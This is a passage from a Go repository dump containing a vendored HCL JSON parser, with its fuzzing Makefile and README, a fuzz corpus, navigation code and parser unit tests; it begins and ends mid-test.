result\ninput: %q\ngot: %q\nwant: %q", test.Input, got, test.Want, ) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/doc.go ================================================ // Package json is the JSON parser for HCL. It parses JSON files and returns // implementations of the core HCL structural interfaces in terms of the // JSON data inside. // // This is not a generic JSON parser. Instead, it deals with the mapping from // the JSON information model to the HCL information model, using a number // of hard-coded structural conventions. // // In most cases applications will not import this package directly, but will // instead access its functionality indirectly through functions in the main // "hcl" package and in the "hclparse" package. package json ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/Makefile ================================================ ifndef FUZZ_WORK_DIR $(error FUZZ_WORK_DIR is not set) endif default: @echo "See README.md for usage instructions" fuzz-config: fuzz-exec-config fuzz-exec-%: fuzz%-fuzz.zip go-fuzz -bin=./fuzz$*-fuzz.zip -workdir=$(FUZZ_WORK_DIR) fuzz%-fuzz.zip: %/fuzz.go go-fuzz-build Havoc/pkg/profile/yaotl/json/fuzz/$* tools: go get -u github.com/dvyukov/go-fuzz/go-fuzz go get -u github.com/dvyukov/go-fuzz/go-fuzz-build clean: rm fuzz*-fuzz.zip .PHONY: tools clean fuzz-config fuzz-expr fuzz-template fuzz-traversal .PRECIOUS: fuzzconfig-fuzz.zip fuzzexpr-fuzz.zip fuzztemplate-fuzz.zip fuzztraversal-fuzz.zip ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/README.md ================================================ # JSON syntax fuzzing utilities This directory contains helper functions and corpuses that can be used to fuzz-test the HCL JSON parser using [go-fuzz](https://github.com/dvyukov/go-fuzz). ## Work directory `go-fuzz` needs a working directory where it can keep state as it works. This should ideally be in a ramdisk for efficiency, and should probably _not_ be on an SSD to avoid thrashing it. Here's how to create a ramdisk: ### macOS ``` $ SIZE_IN_MB=1024 $ DEVICE=`hdiutil attach -nobrowse -nomount ram://$(($SIZE_IN_MB*2048))` $ diskutil erasevolume HFS+ RamDisk $DEVICE $ export RAMDISK=/Volumes/RamDisk ``` ### Linux ``` $ mkdir /mnt/ramdisk $ mount -t tmpfs -o size=1024M tmpfs /mnt/ramdisk $ export RAMDISK=/mnt/ramdisk ``` ## Running the fuzzer Next, install `go-fuzz` and its build tool in your `GOPATH`: ``` $ make tools FUZZ_WORK_DIR=$RAMDISK ``` Now you can fuzz the parser: ``` $ make fuzz-config FUZZ_WORK_DIR=$RAMDISK/json-fuzz-config ``` ~> Note: `go-fuzz` does not interact well with `goenv`. If you encounter build errors where the package `go.fuzz.main` could not be found, you may need to use a machine with a direct installation of Go. ## Understanding the result A small number of subdirectories will be created in the work directory. If you let `go-fuzz` run for a few minutes (the more minutes the better) it may detect "crashers", which are inputs that caused the parser to panic. Details about these are written to `$FUZZ_WORK_DIR/crashers`: ``` $ ls /tmp/hcl2-fuzz-config/crashers 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted ``` The base file above (with no extension) is the input that caused a crash. The `.output` file contains the panic stack trace, which you can use as a clue to figure out what caused the crash. A good first step to fixing a detected crasher is to copy the failing input into one of the unit tests in the `hcl/json` package and see it crash there too. After that, it's easy to re-run the test as you try to fix it. The file with the `.quoted` extension contains a form of the input that is quoted in Go syntax for easy copy-paste into a test case, even if the input contains non-printable characters or other inconvenient symbols. ## Rebuilding for new Upstream Code An archive file is created for `go-fuzz` to use on the first run of each of the above, as a `.zip` file created in this directory. If upstream code is changed these will need to be deleted to cause them to be rebuilt with the latest code: ``` $ make clean ``` ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/attr-expr.hcl.json ================================================ { "foo": "${upper(bar + baz[1])}" } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/attr-literal.hcl.json ================================================ { "foo": "bar" } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/block-attrs.hcl.json ================================================ { "block": { "foo": true } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/block-empty.json ================================================ { "block": {} } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/block-nested.hcl.json ================================================ { "block": { "another_block": { "foo": "bar" } } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/empty.hcl.json ================================================ {} ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-empty.json ================================================ { "hello": [] } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-nested.json ================================================ { "hello": [[]] } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/list-values.json ================================================ { "hello": [ "hello", true, 1.2 ] } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/number-big.hcl.json ================================================ { "foo": 1.234234e30 } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/number-int.hcl.json ================================================ { "foo": 1024 } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/corpus/utf8.hcl.json ================================================ { "foo": "föo ${föo(\"föo\")}" } ================================================ FILE: teamserver/pkg/profile/yaotl/json/fuzz/config/fuzz.go ================================================ package fuzzconfig import ( "Havoc/pkg/profile/yaotl/json" ) func Fuzz(data []byte) int { _, diags := json.Parse(data, "") if diags.HasErrors() { return 0 } return 1 } ================================================ FILE: teamserver/pkg/profile/yaotl/json/navigation.go ================================================ package json import ( "fmt" "strings" ) type navigation struct { root node } // Implementation of hcled.ContextString func (n navigation) ContextString(offset int) string { steps := navigationStepsRev(n.root, offset) if steps == nil { return "" } // We built our slice backwards, so we'll reverse it in-place now. half := len(steps) / 2 // integer division for i := 0; i < half; i++ { steps[i], steps[len(steps)-1-i] = steps[len(steps)-1-i], steps[i] } ret := strings.Join(steps, "") if len(ret) > 0 && ret[0] == '.' { ret = ret[1:] } return ret } func navigationStepsRev(v node, offset int) []string { switch tv := v.(type) { case *objectVal: // Do any of our properties have an object that contains the target // offset? for _, attr := range tv.Attrs { k := attr.Name av := attr.Value switch av.(type) { case *objectVal, *arrayVal: // okay default: continue } if av.Range().ContainsOffset(offset) { return append(navigationStepsRev(av, offset), "."+k) } } case *arrayVal: // Do any of our elements contain the target offset? for i, elem := range tv.Values { switch elem.(type) { case *objectVal, *arrayVal: // okay default: continue } if elem.Range().ContainsOffset(offset) { return append(navigationStepsRev(elem, offset), fmt.Sprintf("[%d]", i)) } } } return nil } ================================================ FILE: teamserver/pkg/profile/yaotl/json/navigation_test.go ================================================ package json import ( "fmt" "strconv" "testing" ) func TestNavigationContextString(t *testing.T) { src := ` { "version": 1, "resource": { "null_resource": { "baz": { "id": "foo" }, "boz": [ { "ov": { } } ] } } } ` file, diags := Parse([]byte(src), "test.json") if len(diags) != 0 { fmt.Printf("offset %d\n", diags[0].Subject.Start.Byte) t.Errorf("Unexpected diagnostics: %s", diags) } if file == nil { t.Fatalf("Got nil file") } nav := file.Nav.(navigation) tests := []struct { Offset int Want string }{ {0, ``}, {8, ``}, {36, `resource`}, {60, `resource.null_resource`}, {89, `resource.null_resource.baz`}, {141, `resource.null_resource.boz`}, } for _, test := range tests { t.Run(strconv.Itoa(test.Offset), func(t *testing.T) { got := nav.ContextString(test.Offset) if got != test.Want { t.Errorf("wrong result\ngot: %s\nwant: %s", got, test.Want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/parser.go ================================================ package json import ( "encoding/json" "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func parseFileContent(buf []byte, filename string, start hcl.Pos) (node, hcl.Diagnostics) { tokens := scan(buf, pos{Filename: filename, Pos: start}) p := newPeeker(tokens) node, diags := parseValue(p) if len(diags) == 0 && p.Peek().Type != tokenEOF { diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous data after value", Detail: "Extra characters appear after the JSON value.", Subject: p.Peek().Range.Ptr(), }) } return node, diags } func parseExpression(buf []byte, filename string, start hcl.Pos) (node, hcl.Diagnostics) { tokens := scan(buf, pos{Filename: filename, Pos: start}) p := newPeeker(tokens) node, diags := parseValue(p) if len(diags) == 0 && p.Peek().Type != tokenEOF { diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Extraneous data after value", Detail: "Extra characters appear after the JSON value.", Subject: p.Peek().Range.Ptr(), }) } return node, diags } func parseValue(p *peeker) (node, hcl.Diagnostics) { tok := p.Peek() wrapInvalid := func(n node, diags hcl.Diagnostics) (node, hcl.Diagnostics) { if n != nil { return n, diags } return invalidVal{tok.Range}, diags } switch tok.Type { case tokenBraceO: return wrapInvalid(parseObject(p)) case tokenBrackO: return wrapInvalid(parseArray(p)) case tokenNumber: return wrapInvalid(parseNumber(p)) case tokenString: return wrapInvalid(parseString(p)) case tokenKeyword: return wrapInvalid(parseKeyword(p)) case tokenBraceC: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Missing JSON value", Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", Subject: &tok.Range, }, }) case tokenBrackC: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Missing array element value", Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", Subject: &tok.Range, }, }) case tokenEOF: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Missing value", Detail: "The JSON data ends prematurely.", Subject: &tok.Range, }, }) default: return wrapInvalid(nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid start of value", Detail: "A JSON value must start with a brace, a bracket, a number, a string, or a keyword.", Subject: &tok.Range, }, }) } } func tokenCanStartValue(tok token) bool { switch tok.Type { case tokenBraceO, tokenBrackO, tokenNumber, tokenString, tokenKeyword: return true default: return false } } func parseObject(p *peeker) (node, hcl.Diagnostics) { var diags hcl.Diagnostics open := p.Read() attrs := []*objectAttr{} // recover is used to shift the peeker to what seems to be the end of // our object, so that when we encounter an error we leave the peeker // at a reasonable point in the token stream to continue parsing. recover := func(tok token) { open := 1 for { switch tok.Type { case tokenBraceO: open++ case tokenBraceC: open-- if open <= 1 { return } case tokenEOF: // Ran out of source before we were able to recover, // so we'll bail here and let the caller deal with it. return } tok = p.Read() } } Token: for { if p.Peek().Type == tokenBraceC { break Token } keyNode, keyDiags := parseValue(p) diags = diags.Extend(keyDiags) if keyNode == nil { return nil, diags } keyStrNode, ok := keyNode.(*stringVal) if !ok { return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid object property name", Detail: "A JSON object property name must be a string", Subject: keyNode.StartRange().Ptr(), }) } key := keyStrNode.Value colon := p.Read() if colon.Type != tokenColon { recover(colon) if colon.Type == tokenBraceC || colon.Type == tokenComma { // Catch common mistake of using braces instead of brackets // for an object. return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing object value", Detail: "A JSON object attribute must have a value, introduced by a colon.", Subject: &colon.Range, }) } if colon.Type == tokenEquals { // Possible confusion with native HCL syntax. return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing property value colon", Detail: "JSON uses a colon as its name/value delimiter, not an equals sign.", Subject: &colon.Range, }) } return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing property value colon", Detail: "A colon must appear between an object property's name and its value.", Subject: &colon.Range, }) } valNode, valDiags := parseValue(p) diags = diags.Extend(valDiags) if valNode == nil { return nil, diags } attrs = append(attrs, &objectAttr{ Name: key, Value: valNode, NameRange: keyStrNode.SrcRange, }) switch p.Peek().Type { case tokenComma: comma := p.Read() if p.Peek().Type == tokenBraceC { // Special error message for this common mistake return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Trailing comma in object", Detail: "JSON does not permit a trailing comma after the final property in an object.", Subject: &comma.Range, }) } continue Token case tokenEOF: return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed object", Detail: "No closing brace was found for this JSON object.", Subject: &open.Range, }) case tokenBrackC: // Consume the bracket anyway, so that we don't return with the peeker // at a strange place. p.Read() return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Mismatched braces", Detail: "A JSON object must be closed with a brace, not a bracket.", Subject: p.Peek().Range.Ptr(), }) case tokenBraceC: break Token default: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute separator comma", Detail: "A comma must appear between each property definition in an object.", Subject: p.Peek().Range.Ptr(), }) } } close := p.Read() return &objectVal{ Attrs: attrs, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, CloseRange: close.Range, }, diags } func parseArray(p *peeker) (node, hcl.Diagnostics) { var diags hcl.Diagnostics open := p.Read() vals := []node{} // recover is used to shift the peeker to what seems to be the end of // our array, so that when we encounter an error we leave the peeker // at a reasonable point in the token stream to continue parsing. recover := func(tok token) { open := 1 for { switch tok.Type { case tokenBrackO: open++ case tokenBrackC: open-- if open <= 1 { return } case tokenEOF: // Ran out of source before we were able to recover, // so we'll bail here and let the caller deal with it. return } tok = p.Read() } } Token: for { if p.Peek().Type == tokenBrackC { break Token } valNode, valDiags := parseValue(p) diags = diags.Extend(valDiags) if valNode == nil { return nil, diags } vals = append(vals, valNode) switch p.Peek().Type { case tokenComma: comma := p.Read() if p.Peek().Type == tokenBrackC { // Special error message for this common mistake return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Trailing comma in array", Detail: "JSON does not permit a trailing comma after the final value in an array.", Subject: &comma.Range, }) } continue Token case tokenColon: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid array value", Detail: "A colon is not used to introduce values in a JSON array.", Subject: p.Peek().Range.Ptr(), }) case tokenEOF: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unclosed object", Detail: "No closing bracket was found for this JSON array.", Subject: &open.Range, }) case tokenBraceC: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Mismatched brackets", Detail: "A JSON array must be closed with a bracket, not a brace.", Subject: p.Peek().Range.Ptr(), }) case tokenBrackC: break Token default: recover(p.Read()) return nil, diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing attribute separator comma", Detail: "A comma must appear between each value in an array.", Subject: p.Peek().Range.Ptr(), }) } } close := p.Read() return &arrayVal{ Values: vals, SrcRange: hcl.RangeBetween(open.Range, close.Range), OpenRange: open.Range, }, diags } func parseNumber(p *peeker) (node, hcl.Diagnostics) { tok := p.Read() // Use encoding/json to validate the number syntax. // TODO: Do this more directly to produce better diagnostics. var num json.Number err := json.Unmarshal(tok.Bytes, &num) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON number", Detail: fmt.Sprintf("There is a syntax error in the given JSON number."), Subject: &tok.Range, }, } } // We want to guarantee that we parse numbers the same way as cty (and thus // native syntax HCL) would here, so we'll use the cty parser even though // in most other cases we don't actually introduce cty concepts until // decoding time. We'll unwrap the parsed float immediately afterwards, so // the cty value is just a temporary helper. nv, err := cty.ParseNumberVal(string(num)) if err != nil { // Should never happen if above passed, since JSON numbers are a subset // of what cty can parse... return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON number", Detail: fmt.Sprintf("There is a syntax error in the given JSON number."), Subject: &tok.Range, }, } } return &numberVal{ Value: nv.AsBigFloat(), SrcRange: tok.Range, }, nil } func parseString(p *peeker) (node, hcl.Diagnostics) { tok := p.Read() var str string err := json.Unmarshal(tok.Bytes, &str) if err != nil { var errRange hcl.Range if serr, ok := err.(*json.SyntaxError); ok { errOfs := serr.Offset errPos := tok.Range.Start errPos.Byte += int(errOfs) // TODO: Use the byte offset to properly count unicode // characters for the column, and mark the whole of the // character that was wrong as part of our range. errPos.Column += int(errOfs) errEndPos := errPos errEndPos.Byte++ errEndPos.Column++ errRange = hcl.Range{ Filename: tok.Range.Filename, Start: errPos, End: errEndPos, } } else { errRange = tok.Range } var contextRange *hcl.Range if errRange != tok.Range { contextRange = &tok.Range } // FIXME: Eventually we should parse strings directly here so // we can produce a more useful error message in the face fo things // such as invalid escapes, etc. return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON string", Detail: fmt.Sprintf("There is a syntax error in the given JSON string."), Subject: &errRange, Context: contextRange, }, } } return &stringVal{ Value: str, SrcRange: tok.Range, }, nil } func parseKeyword(p *peeker) (node, hcl.Diagnostics) { tok := p.Read() s := string(tok.Bytes) switch s { case "true": return &booleanVal{ Value: true, SrcRange: tok.Range, }, nil case "false": return &booleanVal{ Value: false, SrcRange: tok.Range, }, nil case "null": return &nullVal{ SrcRange: tok.Range, }, nil case "undefined", "NaN", "Infinity": return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON keyword", Detail: fmt.Sprintf("The JavaScript identifier %q cannot be used in JSON.", s), Subject: &tok.Range, }, } default: var dym string if suggest := keywordSuggestion(s); suggest != "" { dym = fmt.Sprintf(" Did you mean %q?", suggest) } return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Invalid JSON keyword", Detail: fmt.Sprintf("%q is not a valid JSON keyword.%s", s, dym), Subject: &tok.Range, }, } } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/parser_test.go ================================================ package json import ( "math/big" "testing" "github.com/go-test/deep" "Havoc/pkg/profile/yaotl" ) func init() { deep.MaxDepth = 999 } func TestParse(t *testing.T) { tests := []struct { Input string Want node DiagCount int }{ // Simple, single-token constructs { `true`, &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 5, Byte: 4}, }, }, 0, }, { `false`, &booleanVal{ Value: false, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, 0, }, { `null`, &nullVal{ SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 5, Byte: 4}, }, }, 0, }, { `undefined`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 10, Byte: 9}, }}, 1, }, { `flase`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }}, 1, }, { `"hello"`, &stringVal{ Value: "hello", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 8, Byte: 7}, }, }, 0, }, { `"hello\nworld"`, &stringVal{ Value: "hello\nworld", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, 0, }, { `"hello \"world\""`, &stringVal{ Value: `hello "world"`, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 18, Byte: 17}, }, }, 0, }, { `"hello \\"`, &stringVal{ Value: "hello \\", SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 11, Byte: 10}, }, }, 0, }, { `"hello`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }}, 1, }, { `"he\llo"`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }}, 1, }, { `1`, &numberVal{ Value: mustBigFloat("1"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `1.2`, &numberVal{ Value: mustBigFloat("1.2"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 4, Byte: 3}, }, }, 0, }, { `-1`, &numberVal{ Value: mustBigFloat("-1"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, 0, }, { `1.2e5`, &numberVal{ Value: mustBigFloat("120000"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, 0, }, { `1.2e+5`, &numberVal{ Value: mustBigFloat("120000"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }, }, 0, }, { `1.2e-5`, &numberVal{ Value: mustBigFloat("1.2e-5"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }, }, 0, }, { `.1`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }}, 1, }, { `+2`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }}, 1, }, { `1 2`, &numberVal{ Value: mustBigFloat("1"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 1, }, // Objects { `{"hello": true}`, &objectVal{ Attrs: []*objectAttr{ { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 11, Byte: 10}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 16, Byte: 15}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 15, Byte: 14}, End: hcl.Pos{Line: 1, Column: 16, Byte: 15}, }, }, 0, }, { `{"hello": true, "bye": false}`, &objectVal{ Attrs: []*objectAttr{ { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 11, Byte: 10}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }, }, { Name: "bye", Value: &booleanVal{ Value: false, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 24, Byte: 23}, End: hcl.Pos{Line: 1, Column: 29, Byte: 28}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 17, Byte: 16}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 30, Byte: 29}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 29, Byte: 28}, End: hcl.Pos{Line: 1, Column: 30, Byte: 29}, }, }, 0, }, { `{}`, &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, 0, }, { `{"hello":true`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"hello":true]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"hello":true,}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{true:false}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"hello": true, "hello": true}`, &objectVal{ Attrs: []*objectAttr{ { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 11, Byte: 10}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }, }, { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 26, Byte: 25}, End: hcl.Pos{Line: 1, Column: 30, Byte: 29}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 17, Byte: 16}, End: hcl.Pos{Line: 1, Column: 24, Byte: 23}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 31, Byte: 30}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 30, Byte: 29}, End: hcl.Pos{Line: 1, Column: 31, Byte: 30}, }, }, 0, }, { `{"hello": true, "hello": true, "hello", true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, // comma used where colon is expected }, { `{"hello", "world"}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[]`, &arrayVal{ Values: []node{}, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[true]`, &arrayVal{ Values: []node{ &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[true, false]`, &arrayVal{ Values: []node{ &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, &booleanVal{ Value: false, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 8, Byte: 7}, End: hcl.Pos{Line: 1, Column: 13, Byte: 12}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 14, Byte: 13}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[[]]`, &arrayVal{ Values: []node{ &arrayVal{ Values: []node{}, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 4, Byte: 3}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 5, Byte: 4}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 2, }, { `[true`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, 